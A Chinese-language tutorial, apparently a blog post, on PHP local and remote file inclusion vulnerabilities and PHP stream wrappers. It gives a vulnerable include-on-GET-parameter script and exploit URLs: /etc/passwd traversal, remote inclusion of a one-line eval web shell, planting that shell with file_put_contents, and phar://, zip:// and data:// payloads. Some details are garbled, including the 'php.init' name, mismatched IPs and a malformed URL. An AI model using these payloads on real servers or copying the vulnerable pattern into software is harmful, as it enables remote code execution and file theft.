引言:在实际开发过程中,经常会遇到部分模块功能需要重复使用的情况,比如数据库的增删改查,文件包含通过将需要重复使用的功能模块代码引入其他文件的内容,实现重用代码、分离配置等。然而,如果文件包含操作不当,可能会引发所谓的文件包含漏洞,导致安全问题。
一、本地文件包含
这种类型的文件包含漏洞允许攻击者访问本地文件系统上的文件
利用需要满足的条件:
- 1.php.init中的allow_url_fopen=On(默认开启)
- 2.用户参数可控且后台代码没有对包含的文件进行过滤
例子:
在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:
<?php
#本地文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename; //或include_once require require_once
echo "Hello World";
?>
利用方式:
1.将txt的文件内容转换成PHP代码执行
http://127.0.0.1:8082/file_include.php?filename=phpinfo.txt
2.利用文件包含获取系统敏感文件内容
http://127.0.0.1:8082/file_include.php?filename=/etc/passwd
http://127.0.0.1:8082/file_include.php?filename=../../../../../../../etc/passwd
二、远程文件包含
此类型允许攻击者通过包含远程URL来执行代码。
利用需要满足的条件条件
- php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
- 用户参数可控且后台代码没有对包含的文件进行过滤
例子:
在127.0.0.1的服务器下的跟目录下存在这样一个文件file_include.php,代码内容如下:
#远程文件包含
#利用条件,php.init中的allow_url_fopen=On(默认开启)和allow_url_include=Off(默认关闭)要开启
#用户参数可控且后台代码没有对包含的文件进行过滤
$filename = $_GET['filename'];
include $filename; //或include_once require require_once
echo "Hello World";
利用方式:
1.直接包含jd页面,跳转到jd页面
http://127.0.0.1:8082/file_include.php?filename=http://jd.com
2.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.php文件 ,shell.php文件的内容为<?php @eval($_GET['code']);?>
http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.21/test/shell.php?code=phpinfo(); 注意:此时执行的是127.0.0.1的phpinfo()命令
3.在远程主机存在一台主机192.168.3.1,包含远程主机/test/shell.txt文件 ,shell.txt文件的内容为<?php @eval($_GET['code']);?> 注意:此时执行的是192.168.3.1的phpinfo()命令
http://127.0.0.1:8082/file_include.phpfilename=http:192.168.3.1/test/shell.txt&code=phpinfo();
3.在任意服务器上写入一段木马程序
在opt/phpstudy_pro/WWW/test目录下如一句化木马
file_put_contents("opt/phpstudy_pro/WWW/test",'<?php @eval($_GET["code"]);?>');
访问http://127.0.0.1:8082/file_include.php?filename=http:192.168.3.1/test/shell.php?code=phpinfo();
三、伪协议
- 1.file://伪协议用于访问本地文件系统中的文件。这个伪协议可以直接操作本地文件,包括读取、写入等操作。
- 2.http:// 和 https:// 伪协议用于发送HTTP请求并获取远程资源的内容。这包括获取网页内容、向远程服务器发送数据等。
- 3.ftp://伪协议用于访问和操作FTP服务器上的文件。这包括上传、下载、删除等文件操作。
- 4.php://伪协议用于访问各种输入/输出流。例如,
php://input
用于读取POST请求的原始数据,php://output
用于写入输出缓冲区的数据 - 5.data://伪协议用于在脚本中直接嵌入数据。这个伪协议允许开发者在代码中直接定义和使用数据,而无需借助外部文件。
- 6.glob://伪协议用于查找匹配特定模式的文件路径。这对于搜索符合某个通配符规则的文件非常有用
- 7.phar://伪协议用于操作PHP归档文件。这是一种将多个PHP文件打包成一个单一文件的方式,方便分发和部署。
- 8.ssh2://伪协议用于通过SSH2协议访问远程资源。这主要用于安全地访问和操作远程服务器上的文件和数据。
- 9.rar://伪协议用于操作RAR压缩文件。这允许开发者在PHP中直接读取和处理RAR文件。
- 10.ogg://伪协议用于处理音频流。这允许开发者在PHP中直接读取和操作音频数据流。
- 11.expect://伪协议用于处理交互式数据流。这允许与需要用户交互的应用程序进行通信,如命令行程序提示输入用户名和密码等情况。
常用的伪协议
1.phar://主要用于在PHP对压缩文件的读取,用法就是把一句话木马压缩成zip格式,shell.txt->shell.zip 将文件上传到服务器目录下
http://127.0.0.1:8082/file_include.php?filename=phar://shell.zip/shell.txt
2.zip:// 原理和phar:// 差不多 注意:压缩的/符号要改成#的url编码,也就是%23
// http://127.0.0.1:8082/file_include.php?filename=zip://shell.zip%23shell.txt
3.data:// 本身是数据流封装器,其原理和php://input类似,但是是发送GET请求参数
http://127.0.0.1:8082/file_include.php?filename=data://test/plain,<?php phpinfo(); ?>